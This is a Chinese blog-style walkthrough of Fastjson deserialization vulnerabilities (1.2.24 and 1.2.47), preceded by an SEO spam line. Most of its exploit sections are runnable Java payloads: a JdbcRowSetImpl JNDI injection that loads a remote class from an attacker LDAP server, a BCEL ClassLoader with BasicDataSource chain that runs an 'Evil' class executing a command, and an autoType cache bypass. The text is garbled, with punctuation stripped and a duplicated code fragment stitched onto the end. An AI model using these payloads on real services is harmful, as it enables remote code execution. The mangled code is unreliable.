福州网站建设 大公司,html5网站建设加盟,网站文章编辑器,flash网站怎么做fastjson反序列化漏洞分析
Fastjson 是一个 Java 库#xff0c;可以将 Java 对象转换为 JSON 格式#xff0c;当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象#xff0c;即使是一些预先存在的没有源码的对象。该产品主要提供了两个接口可以将 Java 对象转换为 JSON 格式当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象即使是一些预先存在的没有源码的对象。该产品主要提供了两个接口JSON.toJSONString和JSON.parseObject/JSON.parse分别实现序列化和反序列化。
1. Fastjson使用
新建一个maven项目引入对应的依赖包 dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.24/version/dependency新建一个类
package org.example;import java.io.Serializable;public class Person{private String name;private int age;private boolean sex;public Person() {System.out.println(执行构造函数方法);}public String getName() {System.out.println(执行获取到name方法);return name;}public void setName(String name) {System.out.println(执行到setage方法);this.name name;}public int getAge() {System.out.println(执行获取到age方法);return age;}public void setAge(int age) {System.out.println(执行setage方法);this.age age;}public boolean isSex() {return sex;}public void setSex(boolean sex) {System.out.println(执行到setSex方法);this.sex sex;}
}json序列化
package org.example;import com.alibaba.fastjson.JSON;public class Main {public static void main(String[] args) {Person person new Person();person.setName(小明);person.setAge(18);person.setSex(false);String jsonString JSON.toJSONString(person);System.out.println(jsonString);}
}
//输出{age:18,name:小明,sex:false}不使用 SerializerFeature.WriteClassName生成的 JSON 数据不包含类的全限定名。使用 SerializerFeature.WriteClassName生成的 JSON 数据包含类的全限定名以 type 字段表示。
package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;public class Main {public static void main(String[] args) {Person person new Person();person.setName(小明);person.setAge(18);person.setSex(false);String jsonString JSON.toJSONString(person, SerializerFeature.WriteClassName);System.out.println(jsonString);}
}
//输出{type:org.example.Person,age:18,name:小明,sex:false}反序列化
在fastjson中使用JSON.parseObject进行反序列化及将JSON字符串转化为对象
使用
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Main {public static void main(String[] args) {String json1 {\age\:18,\name\:\小明\,\sex\:false};JSONObject jsonObj JSON.parseObject(json1); //将字符串解析为json对象System.out.println(jsonObj.getString(age)); //获取age的值}
}反序列化为javaBean对象
package org.example;
import com.alibaba.fastjson.JSON;public class Main {public static void main(String[] args) {String json1 {\age\:18,\name\:\小明\,\sex\:false};Person json2 JSON.parseObject(json1,Person.class);System.out.println(json2);}
}
//执行setage方法
//执行到setage方法
//执行到setSex方法
//org.example.Person4ccabbaa增加type属性指定其解析为特定类
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Main {public static void main(String[] args) {String json1 {\type\:\org.example.Person\,\age\:18,\name\:\小明\,\sex\:false};JSONObject json2 JSON.parseObject(json1);System.out.println(json2.getString(age));}
}
//执行构造函数方法
//执行setage方法
//执行到setage方法
//执行到setSex方法
//执行获取到age方法
//执行获取到name方法
//18fastjson反序列化漏洞1-流程分析_哔哩哔哩_bilibili
由于在进行反序列化的时候会调用set方法因此当找到一个可以执行类的set方法就可以构造恶意参数执行代码
package org.example;import java.io.IOException;public class Test {private String cmd;public String getCmd() {return cmd;}public void setCmd(String cmd) throws IOException {this.cmd cmd;Runtime.getRuntime().exec(cmd);}
}package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Main {public static void main(String[] args) {String json1 {\type\:\org.example.Test\,\cmd\:\calc\};JSONObject json2 JSON.parseObject(json1);System.out.println(json2);}
}2. fastjson1.2.24漏洞利用
dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.47/version/dependencydependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-dbcp/artifactIdversion9.0.20/version/dependencydependencygroupIdorg.springframework/groupIdartifactIdspring-core/artifactIdversion4.2.4.RELEASE/version/dependencyfastjson反序列化与原生反序列化的不同点
fastjson反序列化不需要实现Serializable变量有对应的setter或满足条件的getter满足第二图的get方法或者public属性原生的变量不需要不是transient 原生的爆发点为readObjectfastjson是setter/getter
查找流程先找到恶意类然后找到getter、setter方法
按CTRLN搜索jdbcRowSet 存在JNDI注入 追踪getDataSourceName(),DataSourceName变量是可控的 因此该链为
setAutoCommit---connection()方法-----DataSourceNmer为恶意参数。package org.example;import com.alibaba.fastjson.JSON;//TIP To bRun/b code, press shortcut actionIdRun/ or
// click the icon srcAllIcons.Actions.Execute/ icon in the gutter.
public class Main {public static void main(String[] args) {String s {\type\:\com.sun.rowset.JdbcRowSetImpl\,\DataSourceName\:\ldap://127.0.0.1:8085/hwgPemYJ\,\autoCommit\:true};System.out.println(JSON.parseObject(s));}
}设置Yakit反连 fastjson利用jndi注入来远程加载恶意类的方法如果机器在内网无法访问互联网那么这种方法就失败了并且受版本依赖限制。
在jdk中含有import com.sun.org.apache.bcel.internal.util.ClassLoader;中,存在defineClass可以实现从字节码直接生成一个类。 正常使用如下
恶意类使用需要使用同版本的java编译为.class文件
package org.example;import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;public class Evil {static {try {Runtime.getRuntime().exec(calc);} catch (IOException e) {throw new RuntimeException(e);}}
}package org.example;import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {//不考虑fastjson情况就正常调用该类ClassLoader classLoader new ClassLoader();byte[] bytes convert(new File(D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class));String code Utility.encode(bytes, true);classLoader.loadClass($$BCEL$$code).newInstance();}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis new FileInputStream(file);byte[] bytes FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException(transform file into bin Array 出错,ex);}}}接着考虑如何调用到classLoader.loadClass()在BasicDataSource中存在forname,可以控制类加载器将其改为classLoader类加载器。 上下文查看有driverClassName、driverClassLoader对应的get/set方法然后通过use查询是否有调用createConnectionFactory方法并实现get/set方法。 通过调用当调用getConnection()时实现调用
package org.example;import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {//不考虑fastjson情况就正常调用该类ClassLoader classLoader new ClassLoader();byte[] bytes convert(new File(D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class));String code Utility.encode(bytes, true);
// classLoader.loadClass($$BCEL$$code).newInstance();BasicDataSource basicDataSource new BasicDataSource();basicDataSource.setDriverClassLoader(classLoader);basicDataSource.setDriverClassName($$BCEL$$code);basicDataSource.getConnection();}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis new FileInputStream(file);byte[] bytes FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException(出错,ex);}}}package org.example;import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {byte[] bytes convert(new File(D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class));String code Utility.encode(bytes, true);String s {\type\:\org.apache.tomcat.dbcp.dbcp2.BasicDataSource\,\driverClassName\:\$$BCEL$$code\,\driverClassLoader\:{\type\:\com.sun.org.apache.bcel.internal.util.ClassLoader\}};JSON.parseObject(s);}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis new FileInputStream(file);byte[] bytes FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException(transform file into bin Array 出错,ex);}}}
3. fastjson反序列化漏洞1.2.47
fastjson1.2.24之后为了修复这个漏洞引入checkAutoType首先进行类型检查再返回类。 如果autoTypeSupporttrue或者expectClass不是null,将进行黑白名单的判断。白名单空的黑名单可能造成危害的类 不满足然后从以下两个缓存去查找如果可以控制缓存则可以调用恶意类。 通过对mappinguse查找当进行loadClass时有将className放在mappings中及如果之前加载之后就不进行加载直接从mappings找 对loadClass进行use查找则在MiscCode中deserialze中调用了loadClass函数 在这里可以进行正常的加载将其放入缓存里如果提前将恶意类提前放进缓存里则可绕过检查。 构造恶意类
package org.example;import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {byte[] bytes convert(new File(D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class));String code Utility.encode(bytes, true);
// 第一步将com.sun.rowset.JdbcRowSetImpl放入缓存。String s {{\type\:\java.lang.Class\,\val\:\com.sun.rowset.JdbcRowSetImpl\},{\type\:\com.sun.rowset.JdbcRowSetImpl\,\DataSourceName\:\ldap://127.0.0.1:8085/XBGdpMmR\,\autoCommit\:true}};JSON.parseObject(s);}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis new FileInputStream(file);byte[] bytes FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException(transform file into bin Array 出错,ex);}}}utoCommit:true}}; JSON.parseObject(s); } //将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis new FileInputStream(file);byte[] bytes FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException(transform file into bin Array 出错,ex);}}}